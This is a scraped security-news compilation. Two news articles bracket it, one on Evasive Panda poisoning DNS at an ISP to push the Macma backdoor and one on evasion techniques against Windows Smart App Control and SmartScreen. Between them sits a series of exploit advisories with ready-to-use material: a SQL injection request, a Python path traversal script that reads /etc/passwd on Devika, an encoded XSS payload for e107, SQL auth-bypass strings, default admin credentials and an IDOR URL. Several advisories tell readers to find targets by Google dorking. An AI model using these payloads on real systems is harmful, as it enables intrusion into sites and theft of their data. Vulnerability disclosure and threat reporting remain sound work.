The APT used DNS poisoning to install the Macma backdoor on targeted networks and then deliver malware to steal data via post-exploitation activity.

Source: Pawel Opaska via Alamy Stock Photo

Researchers have found that a China-linked advanced persistent threat (APT) group compromised an Internet service provider (ISP) to exploit software vendor update mechanisms using DNS poisoning. The attacks delivered new variants of the Macma backdoor, as well as post-exploitation malware to exfiltrate sensitive data from compromised networks.

Researchers at Volexity discovered the attack by Evasive Panda, a threat group they track as StormBamboo and that also goes by DaggerFly, when they detected multiple systems becoming infected with malware in mid-2023, they revealed in a recent blog post. The researchers eventually tracked the attacks to the highly active Chinese APT, which they found altering DNS query responses for specific domains tied to automatic software update channels for software vendors, they said.

"StormBamboo appeared to target software that used insecure update mechanisms, such as HTTP, and did not properly validate digital signatures of installers," Volexity researchers Ankur Saini, Paul Rascagneres, Steven Adair, and Thomas Lancaster wrote in the post. "Therefore, when these applications went to retrieve their updates, instead of installing the intended update, they would install malware, including but not limited to Macma and Pocostick (aka MGBot)."

Macma is a backdoor that's often used by Evasive Panda and was first detailed by Google TAG in 2021, though it was used for a number of years before discovery. The latest variant demonstrates the group converging development of both Macma and Gimmick MacOS malware, according to Volexity. The researchers also detected post-exploitation activity to deploy the malicious browser extension Reloadext to exfiltrate victim mail data, they said.

**Poisoning DNS Requests**

Volexity outlined one of several incidents that researchers investigated in which Evasive Panda used DNS poisoning to deliver malware via an HTTP automatic update mechanism. The attack poisoned responses for legitimate hostnames that were then used as second-stage command-and-control (C2) servers, the researchers said.

DNS poisoning is a type of DNS abuse in which an attacker poisons DNS records to reroute network communications to a server under their control to steal and manipulate information transmitted to users. In this case, the APT used the poisoned DNS records to resolve to an attacker-controlled server in Hong Kong at IP address 103.96.130.107, which was at the ISP level of the targeted organization.

The logic behind the abuse of automatic updates is the same for all the applications targeted, the researchers noted. The legitimate application performs an HTTP request to retrieve a text-based file containing the latest application version and a link to the installer.

"Since the attacker has control of the DNS responses for any given DNS name, they abuse this design, redirecting the HTTP request to a C2 server they control hosting a forged text file and a malicious installer," the researchers wrote.

In the attacks, the APT targeted multiple software vendors with "insecure update workflows" that use varying levels of complexity in their steps for pushing malware. For example, one of the vendors, 5Kplayer, uses a workflow, the binary of which automatically checks if a new version of YoutubeDL is available for each time the application is started.

If a new version is available, the process downloads it from the specified URL, and then the legitimate app executes it. In its attack, Evasive Panda used DNS poisoning to host a modified config file indicating a new update was available, which resulted in the YoutubeDL software downloading an upgrade package from the APT's server that had already been backdoored with malicious code.

**Beware: "Highly Skilled" APT at Work**

Volexity notified and worked with the ISP whose network was being used for DNS poisoning. The ISP investigated and took various network components offline, which stopped the malicious activity, the researchers said.

"During this time, it was not possible to pinpoint a specific device that was compromised, but various components of the infrastructure were updated or left offline and the activity ceased," they wrote.

The attacks are not the first time Evasive Panda, which often targets organizations across Asia that are interested in the Chinese state, has leveraged legit software update channels for nefarious purposes.

In April of last year, researchers from ESET discovered cyberespionage attacks in which the group targeted individuals in China and Nigeria by hijacking update channels for software developed by Chinese companies to deliver the MGBot malware to steal credentials and data.

Indeed, the group is "a highly skilled and aggressive threat actor" that often "compromises third parties to breach intended targets," the researchers warned.

"The variety of malware employed in various campaigns by this threat actor indicates significant effort is invested, with actively supported payloads for not only macOS and Windows, but also network appliances," they wrote.

The attacks also are related to previous research by ESET concerning the infection vector for the Pocostick malware that also used DNS poisoning to abuse automatic updates, as well as one used by a related APT DriftingBamboo following zero-day exploitation of Sophos firewalls, the researchers noted.

Volexity included a link to various rules and indicators of compromise (IOCs) in its post to help organizations detect if they have been affected by the malicious activity.

**About the Author**

Elizabeth Montalbano is a freelance writer, journalist, and therapeutic writing mentor with more than 25 years of professional experience. Her areas of expertise include technology, business, and culture. Elizabeth previously lived and worked as a full-time journalist in Phoenix, San Francisco, and New York City; she currently resides in a village on the southwest coast of Portugal. In her free time, she enjoys surfing, hiking with her dogs, traveling, playing music, yoga, and cooking.

China's Evasive Panda Attacks ISP to Send Malicious Software Updates

Online Shopping Portal Project version 2.0 suffers from a remote SQL injection vulnerability.

    [x]========================================================================================================================================[x] | Title        : Online Shopping Portal Project 2.0 SQL Vulnerabilities | Software     : Online Shopping Portal Project | Create By    : https://phpgurukul.com/author/anujk305/ | Version  : V 2.0 | Last Updated  : 06 June 2024 | Download     : https://phpgurukul.com/shopping-portal-free-download/ | Date         : 03 Agustus 2024 | Author       : OoN_Boy[x]========================================================================================================================================[x] | Technology  : PHP | Database  : MySQL | Price  : FREE | Description  : E-commerce means any transaction over the internet.[x]========================================================================================================================================[x][O] Exploit    http://127.0.0.1/shopping/order-details.php [email parameter]  http://127.0.0.1/shopping/order-details.php [orderid parameter]    [O] Proof of concept    create an account and order one of the items, then track your order.  sqlmap.py "YOU RAW DATA" --dbs  [SQL]  POST /shopping/order-details.php HTTP/1.1  Host: 127.0.0.1  Content-Length: 42  Cache-Control: max-age=0  sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"  sec-ch-ua-mobile: ?0  sec-ch-ua-platform: "Windows"  Accept-Language: en-US  Upgrade-Insecure-Requests: 1  Origin: http://127.0.0.1  Content-Type: application/x-www-form-urlencoded  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7  Sec-Fetch-Site: same-origin  Sec-Fetch-Mode: navigate  Sec-Fetch-User: ?1  Sec-Fetch-Dest: document  Referer: http://127.0.0.1/shopping/track-orders.php  Accept-Encoding: gzip, deflate, br  Cookie: auth-token-secret=ce668e880e958286436c06776b331b4b; auth-token=cc6dae05ce833672d48f461769dcd56c; PHPSESSID=qnae9mjoqfs22v54k55e1bt1hh  Connection: keep-alive  orderid=1&email=vrs_hck@maho.id&submit=    [x]========================================================================================================================================[x][O] GreetzBatamHacker, Vrs-hCk, c0li, h4ntu, Opay, Ndet, Ipay, Paman, NoGe, H312Y, dono, pizzyroot, zxvf, Joe Chawanua, k0rea [Ntc],xx_user, s3t4n, Angela Chang, IrcMafia, str0ke, em|nem, Pandoe, Ronny ^s0n g0ku^[x]========================================================================================================================================[x]

Online Shopping Portal Project 2.0 SQL Injection

Genexus Protection Server version 9.7.2.10 suffers from an unquoted service path vulnerability.

    #Exploit Title: Genexus Protection Server 9.7.2.10 - 'protsrvservice' Unquoted Service Path Service Path#Exploit Author : SamAlucard#Exploit Date: 2024-07-31#Vendor : Genexus#Version : Genexus Protection Server 9.7.2.10#Software Link: https://www.genexus.com/en/developers/downloadcenter?data=;;#Vendor Homepage :  https://www.genexus.com/es/#Tested on OS: Windows 10 Pro#Analyze PoC :==============C:\>sc qc protsrvservice[SC] QueryServiceConfig CORRECTONOMBRE_SERVICIO: protsrvservice        TIPO               : 10  WIN32_OWN_PROCESS        TIPO_INICIO        : 2   AUTO_START        CONTROL_ERROR      : 1   NORMAL        NOMBRE_RUTA_BINARIO: C:\Program Files(x86)\CommonFiles\Artech\GXProt1\ProtSrv.exe        GRUPO_ORDEN_CARGA  :        ETIQUETA           : 0        NOMBRE_MOSTRAR     : ProtSrvService        DEPENDENCIAS       : RPCSS        NOMBRE_INICIO_SERVICIO: LocalSystem

Genexus Protection Server 9.7.2.10 Unquoted Service Path

Devika version 1 suffers from a path traversal vulnerability.

    # Exploit Title: Devika v1 - Path Traversal via 'snapshot_path' Parameter# Google Dork: N/A# Date: 2024-06-29# Exploit Author: Alperen Ergel# Contact: @alpernae (IG/X)# Vendor Homepage: https://devikaai.co/# Software Link: https://github.com/stitionai/devika# Version: v1# Tested on: Windows 11 Home Edition# CVE: CVE-2024-40422#!/usr/bin/pythonimport argparseimport requestsdef exploit(target_url):    url = f'http://{target_url}/api/get-browser-snapshot'    params = {        'snapshot_path': '../../../../etc/passwd'    }    response = requests.get(url, params=params)    print(response.text)if __name__ == "__main__":    parser = argparse.ArgumentParser(description='Exploit directory traversal vulnerability.')    parser.add_argument('-t', '--target', help='Target URL (e.g., target.com)', required=True)    args = parser.parse_args()    exploit(args.target)

Devika 1 Path Traversal

e107 version 2.3.3 suffers from a cross site scripting vulnerability.

    =============================================================================================================================================| # Title     : e107 v2.3.3 XSS Vulnerability                                                                                               || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                            || # Vendor    : https://unlimited.dl.sourceforge.net/project/e107/e107/e107%20v2.3.3/e107_2.3.3_full.zip?viasf=1                            |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use Payload : /image.php?mode=main&action=dialog&for=_commonh5it1%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281986%2529%253edezaw&tagid=media-cat-image&iframe=1&w=206&image=1[+] LOgin : http://127.0.0.1/233/e107_admin/[+] http://127.0.0.1/233/e107_admin/image.php?mode=main&action=dialog&for=_commonh5it1%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281986%2529%253edezaw&tagid=media-cat-image&iframe=1&w=206&image=1Greetings to :============================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |==========================================================================

e107 2.3.3 Cross Site Scripting

Codeprojects E-Commerce version 1.0 suffers from an ignored default credential vulnerability.

    =============================================================================================================================================| # Title     : Codeprojects E-Commerce v1.0 Insecure Settings Vulnerability                                                                || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                            || # Vendor    : https://code-projects.org/?s=Ecommerce                                                                                      |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Settings : appears to leave a default administrative account in place post installation.[+] use payload : user =  admin@admin.com & pass = password[+] https://www/127.0.0.1/demo/comdeptcmru.acth/59143214/admin/products.phpGreetings to :============================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |==========================================================================

Codeprojects E-Commerce 1.0 Insecure Settings

Blog Site version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

    =============================================================================================================================================| # Title     : Blog Site 1.0 Auth By Pass Vulnerability                                                                                    || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                            || # Vendor    : https://www.sourcecodester.com/sites/default/files/download/oretnom23/blog-site-using-php_0.zip                             |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use payload : user & pass = ' or 0=0 ##[+] Panel : http://127.0.0.1//blog/admin/index.php?page=manage_postGreetings to :============================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |==========================================================================

Blog Site 1.0 SQL Injection

Best Courier Management System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

    =============================================================================================================================================| # Title     : Best Courier Management System v1.0 Auth By Pass Vulnerability                                                              || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits)                                                            || # Vendor    : https://www.mayurik.com/source-code/P0998/best-courier-management-system-project-in-php                                     |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use payload : user : 'or''='@gmail.com & pass = 'or''='[+] Panel : http://127.0.0.1/gaatitrack/login.phpGreetings to :============================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |==========================================================================

Best Courier Management System 1.0 SQL Injection

Appointment Scheduler version 4.0 suffers from an insecure direct object reference vulnerability.

    =============================================================================================================================================| # Title     : Appointment Scheduler v4.0 IDOR Vulnerability                                                                               || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits)                                                            || # Vendor    : https://auth.phpjabbers.com/download/727641/53089/d9b13cca42bb941a9f06d96f22fb7743                                          |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Direct Object Reference : Allows you as a visitor to access the control panel without permissions.[+] use payload : index.php?controller=pjAdminBookings&action=pjActionExport[+] http://127.0.0.1/AppointmentSchedulerDe/index.php?controller=pjAdminBookings&action=pjActionExportGreetings to :============================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |==========================================================================

Appointment Scheduler 4.0 Insecure Direct Object Reference

Cybersecurity researchers have uncovered design weaknesses in Microsoft's Windows Smart App Control and SmartScreen that could enable threat actors to gain initial access to target environments without raising any warnings.
Smart App Control (SAC) is a cloud-powered security feature introduced by Microsoft in Windows 11 to block malicious, untrusted, and potentially unwanted apps from being run

Threat Intelligence / Vulnerability

Cybersecurity researchers have uncovered design weaknesses in Microsoft's Windows Smart App Control and SmartScreen that could enable threat actors to gain initial access to target environments without raising any warnings.

Smart App Control (SAC) is a cloud-powered security feature introduced by Microsoft in Windows 11 to block malicious, untrusted, and potentially unwanted apps from being run on the system. In cases where the service is unable to make a prediction about the app, it checks if it's signed or has a valid signature so as to be executed.

SmartScreen, which was released alongside Windows 10, is a similar security feature that determines whether a site or a downloaded app is potentially malicious. It also leverages a reputation-based approach for URL and app protection.

"Microsoft Defender SmartScreen evaluates a website's URLs to determine if they're known to distribute or host unsafe content," Redmond notes in its documentation.

"It also provides reputation checks for apps, checking downloaded programs and the digital signature used to sign a file. If a URL, a file, an app, or a certificate has an established reputation, users don't see any warnings. If there's no reputation, the item is marked as a higher risk and presents a warning to the user."

It's also worth mentioning that when SAC is enabled, it replaces and disables Defender SmartScreen.

"Smart App Control and SmartScreen have a number of fundamental design weaknesses that can allow for initial access with no security warnings and minimal user interaction," Elastic Security Labs said in a report shared with The Hacker News.

One of the easiest ways to bypass these protections is get the app signed with a legitimate Extended Validation (EV) certificate, a technique already exploited by malicious actors to distribute malware, as recently evidenced in the case of HotPage.

Some of the other methods that can be used for detection evasion are listed below -

*   Reputation Hijacking, which involves identifying and repurposing apps with a good reputation to bypass the system (e.g., JamPlus or a known AutoHotkey interpreter)

*   Reputation Seeding, which involves using an seemingly-innocuous attacker-controlled binary to trigger the malicious behavior due to a vulnerability in an application, or after a certain time has elapsed.

*   Reputation Tampering, which involves altering certain sections of a legitimate binary (e.g., calculator) to inject shellcode without losing its overall reputation

*   LNK Stomping, which involves exploiting a bug in the way Windows shortcut (LNK) files are handled to remove the mark-of-the-web (MotW) tag and get around SAC protections owing to the fact that SAC blocks files with the label.

"It involves crafting LNK files that have non-standard target paths or internal structures," the researchers said. "When clicked, these LNK files are modified by explorer.exe with the canonical formatting. This modification leads to removal of the MotW label before security checks are performed."

"Reputation-based protection systems are a powerful layer for blocking commodity malware," the company said. "However, like any protection technique, they have weaknesses that can be bypassed with some care. Security teams should scrutinize downloads carefully in their detection stack and not rely solely on OS-native security features for protection in this area."

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